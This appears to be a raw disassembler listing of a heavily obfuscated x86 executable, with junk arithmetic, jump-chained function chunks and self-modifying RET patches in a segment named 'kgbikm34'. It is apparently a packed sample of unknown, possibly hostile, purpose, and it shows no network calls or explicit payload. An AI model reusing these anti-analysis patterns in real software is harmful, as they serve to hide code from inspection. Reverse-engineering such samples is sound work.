; FUNCTION CHUNK AT 0043C423 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D6EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043FA4F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FBAA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441D8B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004441E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444EF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445D64 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445EC4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445EE1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446870 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448F23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449311 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449BC3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044A8D9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044ADD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B4C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DC9D SIZE 00000005 BYTES

		call	sub_44B46B
		mov	eax, [ebp-4]
		jz	loc_441D8B
		add	eax, 28h
		mov	[ebp-4], eax
		jmp	loc_448F23
sub_44D21F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D238:				; DATA XREF: sub_439609+3E17o
		add	eax, 35EFF5C8h
		call	sub_4375D0
; START	OF FUNCTION CHUNK FOR sub_448897

loc_44D243:				; CODE XREF: sub_448897:loc_4488AAj
		jmp	loc_44D52F
; END OF FUNCTION CHUNK	FOR sub_448897
; ---------------------------------------------------------------------------

loc_44D248:				; CODE XREF: kgbikm34:004475DAj
		jmp	loc_43AA12
; ---------------------------------------------------------------------------
		push	eax
		call	sub_444240
		mov	edx, [ebp+8]
		mov	eax, [edx]
		push	esi
		jmp	loc_44B4A5
; ---------------------------------------------------------------------------

loc_44D25E:				; CODE XREF: kgbikm34:00439D8Aj
		test	ebx, edi
		jmp	loc_4384A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44D265:				; CODE XREF: sub_44A80D:loc_44D7C1j
		push	9D2AAC0Fh
		pop	esi
		and	esi, 9E8931D5h
		test	esi, 1000000h
		jmp	loc_43718A
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------

loc_44D27C:				; CODE XREF: kgbikm34:004415A2j
		jnp	loc_43D29B
		rol	ecx, 10h

loc_44D285:				; CODE XREF: kgbikm34:00439F1Dj
		or	eax, 26736221h

loc_44D28B:				; CODE XREF: kgbikm34:loc_44ABEEj
		add	esi, 22021522h
		jmp	loc_4385A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_326. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44D297:				; CODE XREF: kgbikm34:0043C407j
		jmp	loc_43CE34
; ---------------------------------------------------------------------------

loc_44D29C:				; CODE XREF: kgbikm34:0043A49Ej
		pushf
		mov	eax, 6CFC9232h
		jz	loc_446BBE

loc_44D2A8:				; CODE XREF: kgbikm34:loc_43A487j
		and	edx, 7FC565B6h
		push	offset loc_44D89E
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44D2B3:				; CODE XREF: sub_439609:loc_443DDEj
		jmp	nullsub_241
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE0

loc_44D2B8:				; CODE XREF: sub_447EE0:loc_447EF0j
		sub	eax, 7EFF6F29h
		and	eax, 0A062FC57h
		xor	eax, 458A2FAAh
		push	esi
		jmp	loc_438B61
; END OF FUNCTION CHUNK	FOR sub_447EE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44D2D0:				; CODE XREF: sub_443681:loc_44A18Cj
		push	edx
		call	sub_443DF0
		mov	eax, 26F528F2h
		call	sub_43BF6F
		jmp	loc_448E25
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_44D2E5:				; CODE XREF: sub_43EFE3-4F9Cj
		push	0C59EFAE5h
		pop	ecx
		and	ecx, 77619F72h
		sub	ecx, 6C9B2245h
		add	ecx, 27DC6871h
		mov	[ecx], eax
		jmp	loc_437937
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_44D304:				; CODE XREF: sub_441819:loc_44D7C6j
		jl	loc_4461D0
		rol	eax, 11h
		ror	eax, 0Dh
		cmp	ecx, 0B69C3F64h
		jmp	loc_4461C5
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------

loc_44D31B:				; CODE XREF: kgbikm34:00439C48j
		add	edx, 47097D6Eh
		xchg	edx, [esp]
		jmp	loc_439F13
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E12C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A680

loc_44D32F:				; CODE XREF: sub_44A680-6112j
		jmp	loc_44D088
; END OF FUNCTION CHUNK	FOR sub_44A680
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	al, 24h
		jmp	loc_43740D
; ---------------------------------------------------------------------------

loc_44D33C:				; CODE XREF: kgbikm34:00441C78j
		cdq
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44D33D:				; CODE XREF: sub_448C95:loc_44BD99j
		or	eax, 1EA0215Ah
		cmp	eax, 89C2E384h
		jmp	loc_4495BB
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		mov	[esi], edx
		jmp	sub_44903A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44D355:				; CODE XREF: sub_443681:loc_446160j
		jz	loc_44CAA5

loc_44D35B:				; CODE XREF: sub_446FDF+Aj
		jmp	loc_43AF69
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
		push	esi
		and	esi, eax

loc_44D363:				; CODE XREF: kgbikm34:loc_44DEB8j
		push	992B44CCh
		jmp	loc_44CAA5
; ---------------------------------------------------------------------------
		jbe	loc_43A1FA
		jmp	sub_4375D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_44D378:				; CODE XREF: sub_441B24:loc_43C71Aj
		or	eax, ebx
; END OF FUNCTION CHUNK	FOR sub_441B24

; =============== S U B	R O U T	I N E =======================================



sub_44D37A	proc near		; CODE XREF: sub_43EB8F+31E7p
		xchg	eax, [esp+0]
		pop	eax
		push	32C816A7h
		pop	edx
		or	edx, 0B6067BDh
		push	offset loc_449073
		jmp	nullsub_243
sub_44D37A	endp

; ---------------------------------------------------------------------------
		xchg	ecx, [edi]
		jmp	sub_43BA7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_44D39C:				; CODE XREF: sub_43F4ED+9FBFj
		jmp	loc_44DA10
; END OF FUNCTION CHUNK	FOR sub_43F4ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44D3A1:				; CODE XREF: sub_440141+6EE4j
		jb	loc_448597
		or	eax, 36A82100h
		pushf
		jmp	loc_43798A
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_44D3B3:				; CODE XREF: sub_43EA97+9EACj
		jz	loc_446CC0
		jmp	loc_445C2A
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_44D3BE:				; CODE XREF: sub_441B24:loc_445FCBj
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_444748
		jmp	loc_4442C2
; END OF FUNCTION CHUNK	FOR sub_441B24

; =============== S U B	R O U T	I N E =======================================



sub_44D3D7	proc near		; CODE XREF: sub_43E34D:loc_43B869p
					; kgbikm34:0044CC29j

; FUNCTION CHUNK AT 00445839 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449DC5 SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		call	sub_43A4CE
		mov	eax, 0D1CB0F56h
		call	sub_44C347

loc_44D3EB:				; CODE XREF: sub_43741E+DE33j
		jmp	loc_449DC5
sub_44D3D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44D3F0:				; CODE XREF: sub_448C95-BE00j
		jmp	loc_44BD99
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397E2

loc_44D3F5:				; CODE XREF: sub_4397E2+Cj
		jmp	loc_448A02
; END OF FUNCTION CHUNK	FOR sub_4397E2
; ---------------------------------------------------------------------------
		push	0BCA79C23h
		pop	eax
		add	eax, 0C51B2D9Ch
		or	eax, 0B1C7C70Ch
		rol	eax, 3
		add	eax, 81374C73h
		call	sub_43BF6F
		jmp	loc_4469E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB87

loc_44D420:				; CODE XREF: sub_43CB87+Aj
		jmp	loc_4467A7
; END OF FUNCTION CHUNK	FOR sub_43CB87
; ---------------------------------------------------------------------------

loc_44D425:				; CODE XREF: kgbikm34:0043A1CDj
		jmp	loc_44B382
; ---------------------------------------------------------------------------

locret_44D42A:				; CODE XREF: kgbikm34:loc_448C8Aj
		retn
; ---------------------------------------------------------------------------

loc_44D42B:				; CODE XREF: kgbikm34:004450CDj
		jmp	loc_4478D8
; ---------------------------------------------------------------------------

loc_44D430:				; CODE XREF: kgbikm34:loc_44B1D3j
		mov	[ebx], eax
		pop	ebx
		push	offset sub_441D21
		jmp	loc_43EED8
; ---------------------------------------------------------------------------
		mov	eax, 11C9A2C5h
		call	sub_43BF6F
		push	edi
		push	433B620Ch
		pop	edi
		jmp	loc_43CD1D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4BD

loc_44D454:				; CODE XREF: sub_43A4BD:loc_449731j
		add	eax, 64AE6D1Ah

loc_44D45A:				; CODE XREF: kgbikm34:00438949j
		push	eax
		mov	eax, [ebp-4]
		push	eax
		push	edi
		push	0F316D805h
		pop	edi
		rol	edi, 1Dh
		jmp	loc_4450D2
; END OF FUNCTION CHUNK	FOR sub_43A4BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44D46E:				; CODE XREF: sub_43BCAD:loc_443C09j
					; sub_43BCAD+CEA8j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43D406
		jmp	loc_448758
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E5A

loc_44D480:				; CODE XREF: sub_442E5A+8F0Bj
		jmp	nullsub_376
; END OF FUNCTION CHUNK	FOR sub_442E5A

; =============== S U B	R O U T	I N E =======================================



sub_44D485	proc near		; CODE XREF: sub_446F45-E575p
					; kgbikm34:0044098Ej
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41E1BC, eax
		lea	eax, sub_446F45
		mov	byte ptr [eax],	0C3h
		jmp	sub_446F45
sub_44D485	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	esi, 943A9AFDh
		jmp	sub_444E1C
; ---------------------------------------------------------------------------

loc_44D4A8:				; CODE XREF: kgbikm34:loc_43C444j
		jz	loc_43B37E
		jmp	loc_4409AC

; =============== S U B	R O U T	I N E =======================================



sub_44D4B3	proc near		; CODE XREF: sub_44C347-14C27p
					; kgbikm34:0043F6EDj

; FUNCTION CHUNK AT 0044BEC8 SIZE 00000005 BYTES

		xchg	esi, [esp+0]

loc_44D4B6:				; CODE XREF: kgbikm34:0043D8F6j
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BEC8
sub_44D4B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D4BF:				; CODE XREF: kgbikm34:0044395Fj
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_44957A
; ---------------------------------------------------------------------------

loc_44D4C9:				; DATA XREF: sub_4450E9-6A5o
		push	edx
		push	edx
		push	55762A5Bh
		pop	edx
		sub	edx, 0A724F5Ch
		and	edx, 6FD3A06Eh
		sub	edx, 0B5E03B02h
		jmp	loc_440CA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB0D

loc_44D4E8:				; CODE XREF: sub_43EB0D+Aj
		sub	esi, 0A730DE0Fh
		add	esi, 385934A3h
		xchg	esi, [esp+4+var_4]
		jmp	loc_4400B1
; END OF FUNCTION CHUNK	FOR sub_43EB0D
; ---------------------------------------------------------------------------
		mov	eax, 1C5E06BAh
		jmp	loc_43B3E5
; ---------------------------------------------------------------------------

loc_44D506:				; DATA XREF: sub_439B90+1046Co
		xor	edx, 0DBAAB3E3h
		add	edx, ebp
		add	edx, 0B6FD48D5h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_448DD5
; ---------------------------------------------------------------------------

loc_44D51D:				; CODE XREF: kgbikm34:loc_44064Fj
		sbb	ebx, edi
		jmp	loc_43C09D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_44D524:				; CODE XREF: sub_444002+4EDFj
		test	eax, 80000h
		jmp	loc_44DCB6
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448897

loc_44D52F:				; CODE XREF: sub_448897:loc_44D243j
		jnz	loc_43D142
		jmp	loc_441170
; END OF FUNCTION CHUNK	FOR sub_448897
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_44D53A:				; CODE XREF: sub_4407FD:loc_445C42j
		jnz	loc_44580F
		jmp	loc_44C6DF
; END OF FUNCTION CHUNK	FOR sub_4407FD

; =============== S U B	R O U T	I N E =======================================



sub_44D545	proc near		; DATA XREF: kgbikm34:0043FA5Fo
		push	ebp
		mov	ebp, ecx
		call	sub_44656B
sub_44D545	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_44D54D:				; CODE XREF: sub_43993A+11j
					; sub_439D4B:loc_43B37Ej
		jmp	loc_43C90F
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E17C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
		dd offset sub_442E5A
; ---------------------------------------------------------------------------
		jmp	locret_43E6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_44D562:				; CODE XREF: sub_43CAB5:loc_440A4Dj
		pop	edi
		and	edi, 34C88A99h
		test	edi, 200h
		jmp	loc_445078
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------

loc_44D574:				; CODE XREF: kgbikm34:00441F9Fj
		xor	edi, 814A9D4Fh
		add	edi, 75896C7Dh
		xchg	edi, [esp]
		jmp	sub_440F62
; ---------------------------------------------------------------------------

loc_44D588:				; CODE XREF: kgbikm34:004388EAj
		pop	edi
		push	offset loc_439794
		jmp	locret_43CC67
; ---------------------------------------------------------------------------

loc_44D593:				; CODE XREF: kgbikm34:0043BCA8j
		xor	ecx, 291838D1h

; =============== S U B	R O U T	I N E =======================================



sub_44D599	proc near		; CODE XREF: sub_44D07C-19D7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004372D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437A44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EA52 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043F620 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004404A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004421F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443104 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00443267 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B6B0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BE30 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044D6BB SIZE 00000005 BYTES

		xchg	ecx, [esp+0]

loc_44D59C:				; CODE XREF: kgbikm34:loc_43C6A7j
		pop	ecx
		add	edi, 1DA7D80Bh
		mov	[edi], eax
		jmp	loc_44B6B0
sub_44D599	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D5AA:				; CODE XREF: kgbikm34:loc_44255Fj
		xchg	esi, [esp]
		jmp	loc_448F1E
; ---------------------------------------------------------------------------
		not	esi

loc_44D5B4:				; CODE XREF: kgbikm34:0044313Aj
		jmp	sub_44BE96
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C12

loc_44D5BA:				; CODE XREF: sub_444C12+BA1j
		jmp	nullsub_245
; END OF FUNCTION CHUNK	FOR sub_444C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44D5BF:				; CODE XREF: sub_444A5E+Fj
		jmp	loc_44ADE9
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44D5C4:				; CODE XREF: sub_44A80D-6810j
		jmp	loc_438D6C
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------

loc_44D5C9:				; CODE XREF: kgbikm34:0043DF96j
		jnz	locret_440E05

loc_44D5CF:				; CODE XREF: kgbikm34:loc_44D170j
		mov	eax, [ebp-10h]
		mov	[ebp-24h], eax
		lea	eax, [ebp-12Dh]
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_44D5DB:				; CODE XREF: sub_43F5F7:loc_43C843j
		jmp	loc_44A485
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_44D5E0:				; CODE XREF: sub_440380:loc_437B01j
		mov	esi, ecx
		cmp	ecx, ebx
		jmp	loc_441B9E
; END OF FUNCTION CHUNK	FOR sub_440380
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4455B2

loc_44D5EA:				; CODE XREF: sub_4455B2+Aj
		add	eax, 13533574h
		xor	eax, 1275721h
		call	sub_4400C7
		call	sub_44235B
; END OF FUNCTION CHUNK	FOR sub_4455B2

; =============== S U B	R O U T	I N E =======================================



sub_44D600	proc near		; CODE XREF: sub_441819-A7F4p
					; kgbikm34:0043769Aj ...
		xchg	edx, [esp+0]
		pop	edx
		nop
		call	sub_44A356

loc_44D60A:				; CODE XREF: sub_43B55B+14j
		jmp	loc_4478B9
sub_44D600	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44D60F:				; CODE XREF: sub_43741E:loc_44C297j
		pop	ecx
		xor	ecx, edi
		cdq
		rol	edi, 1Dh
		jmp	loc_445C01
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4456B7

loc_44D61B:				; CODE XREF: sub_4456B7:loc_438A19j
		pushf
		push	12FB7A36h
		or	edx, esi
		jmp	loc_442FBB
; END OF FUNCTION CHUNK	FOR sub_4456B7
; ---------------------------------------------------------------------------
		pop	eax
		pop	eax
		push	ecx
		push	eax
		jmp	loc_44716C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_44D631:				; CODE XREF: sub_444864+4j
		sub	al, 99h

loc_44D633:				; CODE XREF: kgbikm34:004378DAj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443DDE
		jmp	loc_440D3C
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------

loc_44D645:				; CODE XREF: kgbikm34:004474D0j
		xchg	ebx, [edi]
		sub	ecx, 0A90DE72Eh
		jb	loc_442E4E
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_44D653:				; CODE XREF: sub_4407E7:loc_4474C1j
		sub	ecx, 0B47303B0h
		add	ecx, 0B29B0749h
		xchg	ecx, [esp+0]
		jmp	loc_437AD8
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_44D667:				; CODE XREF: sub_43FC25+9j
		xchg	esi, [esp+4+var_4]
		mov	ebx, ebp
		xchg	ebx, [esp+4+var_4]

loc_44D66F:				; CODE XREF: kgbikm34:loc_43AAE4j
		mov	ebp, esp
		push	ebp
		call	sub_4433D8
; END OF FUNCTION CHUNK	FOR sub_43FC25
; START	OF FUNCTION CHUNK FOR sub_43ED16

loc_44D677:				; CODE XREF: sub_43ED16+6j
		pop	edx
		mov	eax, [esp-4+arg_0]
		call	sub_445CCB

loc_44D680:				; CODE XREF: kgbikm34:00448A8Cj
		jmp	sub_44B64C
; END OF FUNCTION CHUNK	FOR sub_43ED16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44D685:				; CODE XREF: sub_44649E-4422j
		jmp	loc_444456
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D12

loc_44D68A:				; CODE XREF: sub_439D12+16C4j
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_439D12
; ---------------------------------------------------------------------------

loc_44D68F:				; DATA XREF: sub_4455C3-3F1Do
		mov	[esi], eax
		pop	esi
		lea	eax, loc_439CA3
		call	sub_438E7D
; START	OF FUNCTION CHUNK FOR sub_44DB6E

loc_44D69D:				; CODE XREF: sub_44DB6E-12BC0j
		jmp	loc_44993A
; END OF FUNCTION CHUNK	FOR sub_44DB6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A406

loc_44D6A2:				; CODE XREF: sub_44A406-F274j
					; sub_44964D-C4EEj ...
		jmp	loc_44B22F
; ---------------------------------------------------------------------------

loc_44D6A7:				; CODE XREF: sub_44964D+955j
					; sub_44A406+7j
		xchg	edi, [esp-4+arg_0]
		mov	ecx, edi
		pop	edi
		pop	ebp
		jmp	nullsub_305
; END OF FUNCTION CHUNK	FOR sub_44A406
; ---------------------------------------------------------------------------
		rol	eax, 1Bh
		call	sub_43F3C5
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_44D6BB:				; CODE XREF: sub_44D599-1ED6j
		jmp	loc_44BE30
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
		mov	ds:dword_43A8C4, eax
		push	edx
		push	6266DC1Eh
		pop	edx
		xor	edx, 386E6D3Bh
		add	edx, 0A63B7C72h
		jmp	loc_44DC98
; ---------------------------------------------------------------------------

loc_44D6DD:				; DATA XREF: sub_44933F+7o
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_4491F4
; ---------------------------------------------------------------------------

loc_44D6E8:				; CODE XREF: kgbikm34:0043F6F8j
					; kgbikm34:loc_442887j
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_43BF6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A987

loc_44D6F3:				; CODE XREF: sub_44A987:loc_44DDE0j
		push	0C30B3159h
		pop	edx
		xor	edx, 160BD863h
		and	edx, 0B4A469ADh
		jmp	loc_447C3B
; END OF FUNCTION CHUNK	FOR sub_44A987
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44D70B:				; CODE XREF: sub_43BCAD+C03Bj
		jmp	loc_440B4A
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_44D710:				; CODE XREF: kgbikm34:loc_43B8EFj
					; kgbikm34:004477B8j
		jmp	loc_43D765
; ---------------------------------------------------------------------------

loc_44D715:				; CODE XREF: kgbikm34:0043730Aj
		jnz	loc_444E81

; =============== S U B	R O U T	I N E =======================================



sub_44D71B	proc near		; CODE XREF: sub_43F8EE:loc_43AD20p

; FUNCTION CHUNK AT 0043A628 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440177 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044118A SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esp, 0FFFFFFF4h
		jmp	loc_440177
sub_44D71B	endp

; ---------------------------------------------------------------------------

locret_44D727:				; CODE XREF: kgbikm34:loc_43749Dj
		retn
; ---------------------------------------------------------------------------

loc_44D728:				; CODE XREF: kgbikm34:0044704Dj
		shr	ebx, 10h
		mov	ecx, [edx]
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_44D72D:				; CODE XREF: sub_43CECD+A16Dj
		xor	eax, 0A1946E73h
		add	eax, ebp
		add	eax, 218CCE62h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_43AB53
; END OF FUNCTION CHUNK	FOR sub_43CECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_44D745:				; CODE XREF: sub_442F09+18j
		push	0F0E5AC07h
		add	edx, 5B2FF485h
		jmp	loc_446BB7
; END OF FUNCTION CHUNK	FOR sub_442F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44D755:				; CODE XREF: sub_440E0B+8j
		call	sub_43DF5B
		jmp	nullsub_249
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A476

loc_44D75F:				; CODE XREF: sub_44A476-3151j
		jmp	loc_44B75F
; END OF FUNCTION CHUNK	FOR sub_44A476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44D764:				; CODE XREF: sub_439587+4AEEj
					; kgbikm34:0044B329j
		jmp	loc_441A02
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492B9

loc_44D769:				; CODE XREF: sub_4492B9-E468j
		jmp	loc_44A274
; END OF FUNCTION CHUNK	FOR sub_4492B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44D76E:				; CODE XREF: sub_43DFE5:loc_441028j
		add	ebx, 187527FDh
		xchg	ebx, [esp+0Ch+var_C]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
		push	ebx
		push	928C2DC4h
		pop	ebx
		and	ebx, 4C5BE56Ch
		xor	ebx, 0FCDF3C59h
		add	ebx, 36AC7D7h
		jmp	loc_44B1D3
; ---------------------------------------------------------------------------

loc_44D79A:				; DATA XREF: sub_43F77F-2C3Fo
		ror	eax, 10h
		push	ecx
		mov	ecx, esi
		xchg	ecx, [esp]
		push	6803E8D3h
		pop	esi
		xor	esi, 27BF7D06h
		jmp	loc_43B7D0

; =============== S U B	R O U T	I N E =======================================



sub_44D7B4	proc near		; CODE XREF: kgbikm34:00439BB0j
					; sub_447135:loc_43C2B3p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_4394B6
sub_44D7B4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44D7C1:				; CODE XREF: sub_44A80D-1CDj
		jmp	loc_44D265
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_44D7C6:				; CODE XREF: sub_441819+8526j
		jmp	loc_44D304
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_44D7CB:				; CODE XREF: sub_43C267+6D2j
		xor	ebx, 6E9CCECFh
		js	loc_447938
; END OF FUNCTION CHUNK	FOR sub_43C267
; START	OF FUNCTION CHUNK FOR sub_44B57E

loc_44D7D7:				; CODE XREF: sub_44B57E+16j
		jmp	loc_43DA7E
; END OF FUNCTION CHUNK	FOR sub_44B57E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_44D7DC:				; CODE XREF: sub_44BBC0-371Fj
		jmp	nullsub_250
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------

